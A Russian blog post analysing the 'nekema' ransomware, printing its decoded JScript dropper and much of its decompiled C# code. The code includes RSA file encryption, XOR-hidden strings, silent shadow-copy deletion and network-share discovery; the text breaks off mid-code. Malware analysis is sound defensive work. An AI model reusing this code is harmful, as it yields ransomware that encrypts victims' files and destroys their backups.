Ковыряем криптолокер, назовём его — «nekema»


    Итак, очередной криптолокер зашифровал файлы в небольшой конторе, стандартная проблема современности. Приехал посмотреть, и случилось чудо — письмо с заразой не удалили. Записал ссылку с которой грузится файл с заразой, прочитал лекцию о важности бэкапов, перенес зараженные файлы в отдельную папку до лучших времен и покинул расстроенных бухгалтеров.

    Дома решил посмотреть как происходит заражение, и проанализировать, может есть шанс восстановить данные. Что из этого вышло — под катом, добро пожаловать!

    Заражение


    Доставка криптолокера — по email, письмо похоже на рабочее, видно что точечная рассылка, для конкретной конторы, электропочта есть на сайте организации. К письму как бы приаттачен файл в формате архива *.rar с привлекающем любого бухгалтера названием «акт сверки №317 сформировано 1С 09112017.rar», но на самом деле, при наведении курсора на файл видно что файл был размещен на файлохранилище bitly.com ввиде короткой ссылки, ссылку не привожу, по понятным причинам. Ссылка ведет на реальный архив «акт сверки №317 сформировано 1С 09112017.rar». Внутри архива — «файл акт сверки №317 сформировано 1С 09112017.wsf», который и был запущен, что и привело к шифрованию файлов. Итог — файлы стали вида — "%имя файла%.%расширение файла%.t20ajvx21j" — пример: «Koala.jpg.t20ajvx21j». На рабочем столе файлы «HOW--TO--RETURN--YOUR--FILES.jpg» — содержит информацию с инструкциями (картинка в заголовке) и «ssda.far» — назначение файла будет описано ниже, как и список расширений.
    Как описано в инструкции послали файлы на указанный адрес, естественно взяли самый важный файл. В ответ довольно быстро пришло письмо с расшифрованным файлом и требованием перечислить сумму в размере 0.03 btc, по курсу на тот момент 12390 рублей. Бухгалтеры оценили потери, и решили не платить вымогателю, благо что 1С уже была перенесена в облако. Да и остальные файлы были дублированы. Обошлось малой кровью.

    На компьютере жертвы установлен был Kaspersky Free, но он промолчал.

    Скрипт — содержание и анализ


    Итак файл: «файл акт сверки №317 сформировано 1С 09112017.wsf». Размер 141 693 байта.
    Приведу небольшой код чтобы было понятно с чем мы имеем дело:

    Исходный код скрипта - уменьшен.
    <job id="EVHQQ">
    <script language="JScript.Encode"> 
    #@~^GikCAA==&JeMCeCeeCeCMeCeMeCeMMCeeCMeCeeCMMeCeCeMeMMCeMeCMeCeMM@#@&\C.,ls']vtk^MWkWB3B6ORoHJf}HvSE4k	 4m/++*v~EUm.k2Oc?4+^sBBB)9}fA jDDnlsvBBd4+^VRmwask1lOkKxvDp@#@&7CD,fH}~xP	+SP)mOr7+pr(%+1YcC^$!Dbp@#@&\m.,2J}P{Pftrc^DlO+AVnhxYvEl6;lrbI@#@&\wnxD-
    .....вырезано.....
    </script></job>
    

    Файл зашифрован с помощью JScript.Encode и не читабелен. Для расшифровки использовался инструмент найденный на Github — Windows Script Decoder 1.8

    После расшифровки получили читабельного вида файл:

    Расшифрованный скрипт - уменьшен.
    <job id="EVHQQ">
    <script language="JScript.Encode"> 
    //****************************************************
    var al=['Microso'+'ft.XMLDOM','bin.base64','WScript.Shell','ADODB.Stream','shell.application'];
    var DMO = new ActiveXObject(al[0]);
    var ELO = DMO.createElement("afqa");
    vFP=rvpa();
    ELO.dataType = al[1];
    if (vFP==3.5) {ELO.text = gvp3()}
    else {ELO.text = gvp4()}
    ELO.text = gvp4();
    ELO.text=ELO.text.substring(8);
    var dot= ELO.nodeTypedValue;
    sfile();
    strt(noome2);
    
    function gvp3(){
    var t="ASTADA//TVqQAAMAAAAEAAAA//G4AZQBrAGUAegAxAC4AZQB4AGUAAAAAAC4ABwABAFAAcgBvAGQAdQBjAHQATgBhAG0AZQAAAAAAbgBlAGsAZQBtAGEAAAAAADQACAABAFAAcgBvAGQAdQBjAHQAVgBlAHIAcwBpAG8AbgAAADEALgAwAC4AMAAuADAAAAA4AAgAAQBBAHMAcwBlAG0AYgBsAHkAIABWAGUAcgBzAGkAbwBuAAAAMQAuADAALgAwAC4AMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    ....Очень много вырезано....
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADgAAAMAAAASDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
    return t;
    }
    
    function setname(){
    if (vFP==3.5) {var sn='eselp3.ax'}
    else {sn='eselp4.ax'}
    return sn;
    }
    function strt(n){
    W1S = new ActiveXObject(al[2]);
    W1S.Run('cmd.exe /C '+n, 0, false);
    }
    function sfile(){
    var foso = new ActiveXObject(al[2]);
    noome2 = foso.ExpandEnvironmentStrings("%AppData%")+"\\"+setname();
    var aod=new ActiveXObject(al[3]);
    aod.Type=1;
    aod.open();
    aod.write(dot);
    aod.saveToFile(noome2,2);
    aod.close(); 
    }
    function gvp4(){
    var t="ASTADA//TVqQAAMAAAAEAAAA//QBtAGEALgBlAHgAZQAAAAAALgAHAAEAUAByAG8AZAB1AGMAdABOAGEAbQBlAAAAAABuAGUAawBlAG0AYQAAAAAANAAIAAEAUAByAG8AZAB1AGMAdABWAGUAcgBzAGkAbwBuAAAAMQAuADAALgAwAC4AMAAAADgACAABAEEAcwBzAGUAbQBiAGwAeQAgAFYAZQByAHMAaQBvAG4AAAAxAC4AMAAuADAALgAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOAAAAwAAADIMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    ....Очень много вырезано....
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
    return t;
    }
    
    function rvpa(){
    var wFRI= 0x10;
    var wFFO= 0x20;
    var rv=4;
    var oWS= GetObject("winmgmts:\\\\.\\root\\CIMV2");
    var cItems = oWS.ExecQuery("SELECT * FROM Win32_OperatingSystem", "WQL", wFRI | wFFO);
    var eItems = new Enumerator(cItems);
    var objItem = eItems.item();
    if (objItem.Caption.indexOf('Windows 7')>0) rv=3.5;
    if (objItem.Caption.indexOf('Windows 2003')>0) rv=3.5;
    if (objItem.Caption.indexOf('Windows 2000')>0) rv=3.5;
    if (objItem.Caption.indexOf('Windows XP')>0) rv=3.5;
    if (objItem.Caption.indexOf('Windows Vista')>0) rv=3.5;
    return rv;
    }
    </script>
    </job> 


    Работа скрипта:

    al — хранит массив названий объектов ActiveX которые будут использованы в скрипте:

    var al=['Microso'+'ft.XMLDOM','bin.base64','WScript.Shell','ADODB.Stream','shell.application'];
    

    Обращение к переменной происходит по индексу — пример «al[1] значит — bin.base64»

    var DMO = new ActiveXObject(al[0]);
    var ELO = DMO.createElement("afqa");
    

    Создается объект DMO Microsoft.XMLDOM и в нем создает узел элемента с именем «afqa» в переменную ELO.

    ELO.dataType = al[1]; 
    if (vFP==3.5) {ELO.text = gvp3()}
    else {ELO.text = gvp4()}
    ELO.text = gvp4();
    ELO.text=ELO.text.substring(8);
    var dot= ELO.nodeTypedValue;
    sfile();
    

    Функции gvp3() и gvp4() — возвращают текст в котором закодированы бинарные файлы с помощью base64.

    Элементу ELO назначается тип данных — bin.base64 и, в зависимости от версии ОС, присваивается значение поля text = текст кодированного бинарного файла в формате base64.
    Потом копируется текст из ELO в ELO начиная с 8-го символа. Затем в переменную dot помещается файл в раскодированном виде.

    Переменная vFP хранит возвращаемое значение функции rvpa() — которая в зависимости от версии Windows возвращает rv=4 для Windows 8 и выше, а для Windows XP- Windows 7 rv=3.5.

    Функция sfile() — сохраняет файл в папке «C:\Users\%user%\AppData\Roaming» с именем получаемым из функции setname() — «eselp3.ax» или «eselp4.ax» в зависимости от переменной rv.
    Полное имя файла помещается в переменную «noome2» — «C:\Users\%user%\AppData\Roaming\eselp3.ax»

    И наконец вызов функции strt(noome2) стартует файл, с помощью 'cmd /c %путь к файлу%'.

    Если изменить расширение файла на .exe, то можно увидеть свойства файла:

    Свойства


    Тут можно увидеть название исходного файла «nekema».

    Бинарник


    Для анализа использовались инструменты:
    .NET Reflector 9.0
    SharpDevelop 4.3

    Запускаем Reflector и загружаем файл. Видим структуру:



    Нас интересует nekez1, сохраняем исходный код для анализа:

    Исходный код Nekez1 оставлены ключевые функции для анализа. Добавлены комментарии к переменным.
    namespace nekema
    {
        public class Form1 : Form
        {
            private int blocksize = 0xf5; //245 размер блока.
            private IContainer components = null;
            private List<string> extensions = new List<string>(); // список расширений
            private List<string> FullList = new List<string>(); // список шифруемых файлов 
            private string keyCode; // Расширение зашифрованных файлов. Рандомное значение.
            private string keyfile = ""; // Хранит название файла "ssda.far"
            private string kfExt = ""; // расширение файла "far"
            private string kfName = ""; //имя без расширения "ssda"
            private static readonly int MAX_PATH = 260; // максимальный путь
            private string pbK = ""; // Публичный ключ для шифрования ключей которыми шифруют файлы.
            private string privateKey = ""; // Ключи которыми шифруют файлы приватный и публичный
            private string publicKey = ""; // Публичный ключ которым шифруются файлы.
            private int repeatCount = 3; // Количество строк шифрования
            private List<string> SpecFolders = new List<string>();
            private string vNF = ""; // имя файла  HOW--TO--RETURN--YOUR--FILES.jpg
            private byte X = 0x91; // // Значение для расшифровки в функции DEXOR = 145
    
    
    //////  сохранение картинки с требованиями выкупа из ресурсов HOW--TO--RETURN--YOUR--FILES.jpg
            private void AddNote(string f) 
            {
                string currentDirectory = Environment.CurrentDirectory;
                if (f != currentDirectory)
                {
                    try
                    {
                        if (!File.Exists(f + @"\" + this.vNF))
                        {
                            Resources.ne5.Save(f + @"\" + this.vNF);
                        }
                    }
                    catch
                    {
                    }
                }
            }
    
    //////// Шифрование файлов - основная процедура
            private void CF(string f1)
            {
                byte[] destinationArray = new byte[this.blocksize];
                try
                {
                    byte[] sourceArray = File.ReadAllBytes(f1);
                    if ((sourceArray.Length / (this.repeatCount + 5)) >= this.blocksize)
                    {
                        RSACryptoServiceProvider provider = new RSACryptoServiceProvider(0x800);
                        provider.FromXmlString(this.publicKey);
                        byte[] buffer3 = new byte[sourceArray.Length + (this.repeatCount * 11)];
                        byte[] buffer4 = new byte[sourceArray.Length - (this.repeatCount * this.blocksize)];
                        for (int i = 0; i < this.repeatCount; i++)
                        {
                            Array.Copy(sourceArray, this.blocksize * i, destinationArray, 0, this.blocksize);
                            byte[] buffer5 = provider.Encrypt(destinationArray, false);
                            Array.Copy(buffer5, 0, buffer3, i * (this.blocksize + 11), buffer5.Length);
                        }
                        Array.Copy(sourceArray, this.repeatCount * this.blocksize, buffer4, 0, buffer4.Length);
                        Array.Copy(buffer4, 0, buffer3, this.repeatCount * (this.blocksize + 11), buffer4.Length);
                        try
                        {
                            File.WriteAllBytes(f1, buffer3);
                            File.Move(f1, f1 + this.keyCode);
                        }
                        catch
                        {
                        }
                    }
                }
                catch
                {
                }
            }
    ////// Шифрование с помощью публичного ключа основных ключей для шифрования - ключевая функция
            private string CryptKey(string s)
            {
                string str = "";
                byte[] array = new byte[s.Length];
                byte[] destinationArray = new byte[this.blocksize];
                byte[] bytes = new byte[this.blocksize + 11];
                double num = Math.Ceiling((double) (((double) s.Length) / ((double) this.blocksize)));
                if (s.Length < (num * this.blocksize))
                {
                    int length = s.Length;
                    for (int i = 0; i < ((num * this.blocksize) - length); i++)
                    {
                        s = s + " ";
                    }
                }
                array = Encoding.Default.GetBytes(s);
                Array.Reverse(array);
                try
                {
                    RSACryptoServiceProvider provider = new RSACryptoServiceProvider(0x800);
                    provider.FromXmlString(this.pbK);
                    for (int j = 0; j < num; j++)
                    {
                        Array.Copy(array, j * this.blocksize, destinationArray, 0, this.blocksize);
                        bytes = provider.Encrypt(destinationArray, false);
                        str = str + Encoding.Default.GetString(bytes);
                    }
                }
                catch
                {
                }
                return str;
            }
    ///// Удаляет теневые копии файлов 
            private void DelS()
            {
                byte[] a = new byte[] { 0xe7, 0xe2, 0xe2, 240, 0xf5, 0xfc, 0xf8, 0xff, 0xbf, 0xf4, 0xe9, 0xf4 };
                byte[] buffer2 = new byte[] { 
                    0xd5, 0xf4, 0xfd, 0xf4, 0xe5, 0xf4, 0xb1, 0xc2, 0xf9, 240, 0xf5, 0xfe, 230, 0xe2, 0xb1, 190,
                    0xd0, 0xfd, 0xfd, 0xb1, 190, 0xc0, 0xe4, 0xf8, 0xf4, 0xe5
                };
                Process process = new Process {
                    StartInfo = { 
                        FileName = this.DeXOR(a, this.X),
                        Arguments = this.DeXOR(buffer2, this.X),
                        WindowStyle = ProcessWindowStyle.Hidden,
                        CreateNoWindow = true,
                        UseShellExecute = true,
                        Verb = "runas"
                    }
                };
                try
                {
                    process.Start();
                }
                catch
                {
                }
            }
    ///// Расшифровка строк из массива байтов в строку с помощью XOR
            private string DeXOR(byte[] A, int x)
            {
                string str = "";
                byte[] bytes = new byte[A.Length];
                for (int i = 0; i < A.Length; i++)
                {
                    bytes[i] = (byte) (A[i] ^ x);
                }
                return (str = Encoding.Default.GetString(bytes));
            }
    
    ///// Основная функция стартующая всё.
            private void Init()
            {
                this.Prep(); // Инициализация
                this.SaveNotes(); // Сохранение картинки и файла ключей 
                this.GetDrives(); // Получение дисков
                this.NetScan(); // Сканирование сети
                this.SetDesktopWallpaper(); // Должно видимо быть установка картинки в качестве обоев, но не работает
            }
    
            private void Prep()
            {
                int num5;
    // Строка a = ssda.far             
    byte[] a = new byte[] { 0xe2, 0xe2, 0xf5, 240, 0xbf, 0xf7, 240, 0xe3 };
    
     //buffer2 = HOW--TO--RETURN--YOUR--FILES.jpg
    byte[] buffer2 = new byte[] {0xd9, 0xde, 0xc6, 0xbc, 0xbc, 0xc5, 0xde, 0xbc, 0xbc, 0xc3, 0xd4, 0xc5, 0xc4, 0xc3, 0xdf, 0xbc, 0xbc, 200, 0xde, 0xc4, 0xc3, 0xbc, 0xbc, 0xd7, 0xd8, 0xdd, 0xd4, 0xc2, 0xbf, 0xfb, 0xe1, 0xf6};
    
    //buffer3 = <RSAKeyValue <Modulus>+fFYiO9CH9iZwwzlsQ3X+qZ7Uyx290OhZ1WvLt6cmDd5oRsLoHLnoGws1CWFMOGFjtbaROSkTg3W+72/TjzHkuPp2W/RC7FBC4JpgguCi4x4ye4HEwRkQ75tHhig08hRKm1a7wlwYl8zLAzM8AwTPLh770MOzPqF1fJMKZCAtdUgIKdYNAkrP18sRbshkGNjwjMhMLNbKTaYfo3qIS4vtVUQtcw+g9ys3ZFZetKEl0ZMJEp4X7b4HK9vqUohPBYfBszXY6ion5m5tSSfhJK6OX2HPaU6RDcajTeEcmk9it9x73drJleZ1G+tVgL6duLX/uOWPVyi0rhyvYmRrGNcIQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>
     
    byte[] buffer3 = new byte[] { 0xad, 0xc3, 0xc2, 0xd0, 0xda, 0xf4, 0xe8, 0xc7, 240, 0xfd, 0xe4, 0xf4, 0xaf, 0xad, 220, 0xfe, 0xf5, 0xe4, 0xfd, 0xe4, 0xe2, 0xaf, 0xba, 0xf7, 0xd7, 200, 0xf8, 0xde, 0xa8, 210, 0xd9, 0xa8, 0xf8, 0xcb, 230, 230, 0xeb, 0xfd, 0xe2, 0xc0, 0xa2, 0xc9, 0xba, 0xe0, 0xcb, 0xa6, 0xc4, 0xe8, 0xe9, 0xa3, 0xa8, 0xa1, 0xde, 0xf9, 0xcb, 160, 0xc6, 0xe7, 0xdd, 0xe5, 0xa7, 0xf2, 0xfc, 0xd5,0xf5, 0xa4, 0xfe, 0xc3, 0xe2, 0xdd, 0xfe, 0xd9, 0xdd, 0xff, 0xfe, 0xd6, 230, 0xe2, 160, 210,0xc6, 0xd7, 220, 0xde, 0xd6, 0xd7, 0xfb, 0xe5, 0xf3, 240, 0xc3, 0xde, 0xc2, 250, 0xc5, 0xf6, 0xa2, 0xc6, 0xba, 0xa6, 0xa3, 190, 0xc5, 0xfb, 0xeb, 0xd9, 250, 0xe4, 0xc1, 0xe1, 0xa3, 0xc6,190, 0xc3, 210, 0xa6, 0xd7, 0xd3, 210, 0xa5, 0xdb, 0xe1, 0xf6, 0xf6, 0xe4, 210, 0xf8, 0xa5, 0xe9, 0xa5, 0xe8, 0xf4, 0xa5, 0xd9, 0xd4, 230, 0xc3, 250, 0xc0, 0xa6, 0xa4, 0xe5, 0xd9, 0xf9, 0xf8, 0xf6, 0xa1, 0xa9, 0xf9, 0xc3, 0xda, 0xfc, 160, 240, 0xa6, 230, 0xfd, 230, 200, 0xfd, 0xa9, 0xeb, 0xdd, 0xd0, 0xeb, 220, 0xa9, 0xd0, 230, 0xc5, 0xc1, 0xdd, 0xf9, 0xa6, 0xa6, 0xa1, 220, 0xde, 0xeb, 0xc1, 0xe0, 0xd7, 160, 0xf7, 0xdb, 220, 0xda, 0xcb, 210, 0xd0, 0xe5, 0xf5, 0xc4, 0xf6, 0xd8, 0xda, 0xf5, 200, 0xdf, 0xd0, 250, 0xe3, 0xc1, 160, 0xa9, 0xe2, 0xc3, 0xf3, 0xe2, 0xf9, 250, 0xd6, 0xdf, 0xfb, 230, 0xfb, 220, 0xf9, 220, 0xdd, 0xdf, 0xf3, 0xda, 0xc5, 240, 200, 0xf7, 0xfe, 0xa2, 0xe0, 0xd8, 0xc2, 0xa5, 0xe7, 0xe5, 0xc7, 0xc4, 0xc0, 0xe5, 0xf2, 230, 0xba, 0xf6, 0xa8, 0xe8, 0xe2, 0xa2, 0xcb, 0xd7, 0xcb, 0xf4, 0xe5, 0xda, 0xd4, 0xfd, 0xa1, 0xcb, 220, 0xdb, 0xd4, 0xe1, 0xa5, 0xc9, 0xa6, 0xf3, 0xa5, 0xd9, 0xda, 0xa8, 0xe7, 0xe0, 0xc4, 0xfe, 0xf9, 0xc1, 0xd3, 200, 0xf7, 0xd3, 0xe2, 0xeb, 0xc9, 200, 0xa7, 0xf8, 0xfe, 0xff, 0xa4, 0xfc, 0xa4, 0xe5, 0xc2, 0xc2, 0xf7, 0xf9, 0xdb, 0xda, 0xa7, 0xde, 0xc9, 0xa3, 0xd9, 0xc1, 240, 0xc4, 0xa7, 0xc3, 0xd5, 0xf2, 240, 0xfb, 0xc5, 0xf4, 0xd4, 0xf2, 0xfc, 250, 0xa8, 0xf8, 0xe5, 0xa8, 0xe9, 0xa6, 0xa2, 0xf5, 0xe3, 0xdb, 0xfd, 0xf4, 0xcb, 160, 0xd6, 0xba, 0xe5, 0xc7, 0xf6, 0xdd, 0xa7, 0xf5, 0xe4, 0xdd, 0xc9, 190, 0xe4, 0xde, 0xc6, 0xc1, 0xc7, 0xe8, 0xf8, 0xa1, 0xe3, 0xf9, 0xe8, 0xe7, 200, 0xfc, 0xc3, 0xe3, 0xd6, 0xdf, 0xf2, 0xd8, 0xc0, 0xac, 0xac, 0xad, 190, 220, 0xfe, 0xf5, 0xe4, 0xfd, 0xe4, 0xe2, 0xaf, 0xad, 0xd4, 0xe9, 0xe1, 0xfe, 0xff, 0xf4, 0xff, 0xe5, 0xaf, 0xd0, 0xc0, 0xd0, 0xd3, 0xad, 190, 0xd4, 0xe9, 0xe1, 0xfe, 0xff, 0xf4, 0xff, 0xe5, 0xaf, 0xad, 190, 0xc3, 0xc2, 0xd0, 0xda, 0xf4, 0xe8, 0xc7, 240, 0xfd, 0xe4, 0xf4, 0xaf};
    // Если Windows Vista и выше - то удаляет теневые копии.
                if (Environment.OSVersion.Version.Major > 5)
                {
                    new Thread(new ThreadStart(this.DelS)).Start();
                }
    // расшифровка значений из массивов байтов в строки... 
                this.pbK = this.DeXOR(buffer3, this.X);
                string str = this.DeXOR(buffer2, this.X);
                this.vNF = this.DeXOR(buffer2, this.X);
                this.keyfile = this.DeXOR(a, this.X);
                this.kfExt = this.RetFExt(this.keyfile);
                this.kfName = this.RetFName(this.keyfile);
                this.keyCode = ".";
    // вычисление расширения для шифрованных файлов
                Random random = new Random();
                random.Next(0x61, 0x7a);
                for (int i = 0; i < 1; i++)
                {
                    this.keyCode = this.keyCode + Convert.ToChar(random.Next(0x61, 0x7a)).ToString();
                }
                string[] textArray1 = new string[] { this.keyCode, (DateTime.Now.Day + 10).ToString(), Convert.ToChar(random.Next(0x61, 0x7a)).ToString(), Convert.ToChar(random.Next(0x61, 0x7a)).ToString(), Convert.ToChar(random.Next(0x61, 0x7a)).ToString(), Convert.ToChar(random.Next(0x61, 0x7a)).ToString(), (DateTime.Now.Month + 10).ToString(), Convert.ToChar(random.Next(0x61, 0x7a)).ToString() };
                this.keyCode = string.Concat(textArray1); // таким будет расширение файлов после шифрования...
     // Создание списка папок для исключения из шифрования...
               string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.System);
                folderPath = folderPath.Substring(0, folderPath.ToLower().IndexOf(@"\system"));
     string str3 = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles);
                this.SpecFolders.Add(folderPath.ToLower());
                this.SpecFolders.Add(str3.ToLower());
                this.SpecFolders.Add(this.DeXOR(new byte[] { 0xc3, 0xd4, 210, 200, 210, 0xdd, 0xd4, 0xc3 }, this.X));
                this.SpecFolders.Add(this.DeXOR(new byte[] { 0xb5, 0xc3, 0xd4, 210, 200, 210, 0xdd, 0xd4, 0xbf, 0xd3, 0xd8, 0xdf }, this.X));
                this.SpecFolders.Add(this.DeXOR(new byte[] { 
                    0xc2, 0xe8, 0xe2, 0xe5, 0xf4, 0xfc, 0xb1, 0xc7, 0xfe, 0xfd, 0xe4, 0xfc, 0xf4, 0xb1, 0xd8, 0xff,
                    0xf7, 0xfe, 0xe3, 0xfc, 240, 0xe5, 0xf8, 0xfe, 0xff
                }, this.X));
    /*
    Исключеные папки...
    c:\windows
    c:\program files (x86)
    RECYCLER
    $RECYCLE.BIN
    System Volume Information 
    */
    /// Создание списка расширений
                this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xf2, 0xf5 }, this.X));
                this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xfd, 0xf5, 0xf7 }, this.X));
                this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xfc, 0xf5, 0xf7 }, this.X));
                this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xfc, 240, 0xe9 }, this.X));
                this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xf5, 0xf3, 0xf7 }, this.X));
                this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xf4, 0xe1, 0xf7 }, this.X));
                this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 160, 0xf2, 0xf5 }, this.X));
                this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xfc, 0xf5 }, this.X));
                this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xf5, 0xf3 }, this.X));
                this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xe1, 0xf5, 0xf7 }, this.X));
                this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xe1, 0xe1, 0xe5 }, this.X));
                this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xe9, 0xfd, 0xe2 }, this.X));
                this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xf5, 0xfe, 0xf2 }, this.X));
                this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 240, 0xe3, 0xfb }, this.X));
                this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xe5, 240, 0xe3 }, this.X));
                this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xa6, 0xeb }, this.X));
                this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xe3, 240, 0xe3 }, this.X));
                this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xeb, 0xf8, 0xe1 }, this.X));
                this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xe5, 0xf8, 0xf7 }, this.X));
                this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xfb, 0xe1, 0xf6 }, this.X));
                this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 240, 0xf8 }, this.X));
                this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xf3, 0xfc, 0xe1 }, this.X));
                this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xe1, 0xff, 0xf6 }, this.X));
                this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xf2, 0xf5, 0xe3 }, this.X));
                this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xe1, 0xe2, 0xf5 }, this.X));
                this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xfb, 0xe1, 0xf4, 0xf6 }, this.X));
                this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xf5, 0xfe, 0xf2, 0xe9 }, this.X));
                this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xe9, 0xfd, 0xe2, 0xe9 }, this.X));
                this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xe1, 0xe1, 0xe5, 0xe9 }, this.X));
                this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 240, 0xf2, 0xf2, 0xf5, 0xf3 }, this.X));
                this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xfc, 0xf5, 0xf3 }, this.X));
                this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xe3, 0xe5, 0xf7 }, this.X));
                this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xfe, 0xf5, 0xe5 }, this.X));
                this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xfe, 0xf5, 0xe2 }, this.X));
                this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xfe, 0xf5, 0xf3 }, this.X));
                this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xfe, 0xf5, 0xf6 }, this.X));
                this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xf2, 0xe3, 0xa3 }, this.X));
                this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xff, 0xf4, 0xf7 }, this.X));
                this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xff, 0xe3, 0xf7 }, this.X));
                this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xfe, 0xe3, 0xf7 }, this.X));
                this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 240, 0xe3, 230 }, this.X));
                this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xe2, 0xe3, 0xa3 }, this.X));
                this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xe2, 0xe3, 0xf7 }, this.X));
    /*
     * Затрагиваемые расширения файлов:
     .cd.ldf .mdf .max .dbf .epf .1cd .md .db .pdf .ppt .xls .doc .arj .tar .7z .rar .zip .tif .jpg .ai .bmp .png .cdr .psd .jpeg .docx .xlsx .pptx .accdb .mdb .rtf .odt .ods .odb .odg .cr2 .nef .nrf .orf .arw .sr2 .srf
     */
    // получение сетевых путей
                List<string> list = new List<string>();
                Process process = new Process {
                    StartInfo = { 
                        FileName = "cmd",
                        Arguments = "/C net view",
                        RedirectStandardOutput = true,
                        UseShellExecute = false,
                        CreateNoWindow = true
                    }
                };
                try
                {
                    bool flag4;
                    process.Start();
                    string str4 = process.StandardOutput.ReadToEnd();
                    int startIndex = 0;
                    int index = 0;
                    goto Label_0A8B;
                Label_0A48:
                    startIndex = str4.IndexOf('\\', startIndex);
                    if (startIndex == -1)
                    {
                        goto Label_0A98;
                    }
                    index = str4.IndexOf(' ', startIndex);
                    list.Add(str4.Substring(startIndex, index - startIndex));
                    startIndex = index;
                Label_0A8B:
                    flag4 = true;
                    goto Label_0A48;
                }
                catch
                {
                }
            Label_0A98:
                num5 = 0;
                while (num5 < list.Count)
                {
                    Process process2 = new Process {
                        StartInfo = { 
                            FileName = "cmd",
                            Arguments = "/C net view " + list[num5],
                            RedirectStandardOutput = true,
                            UseShellExecute = false,
                            CreateNoWindow = true
                        }
                    };
                    try
                    {
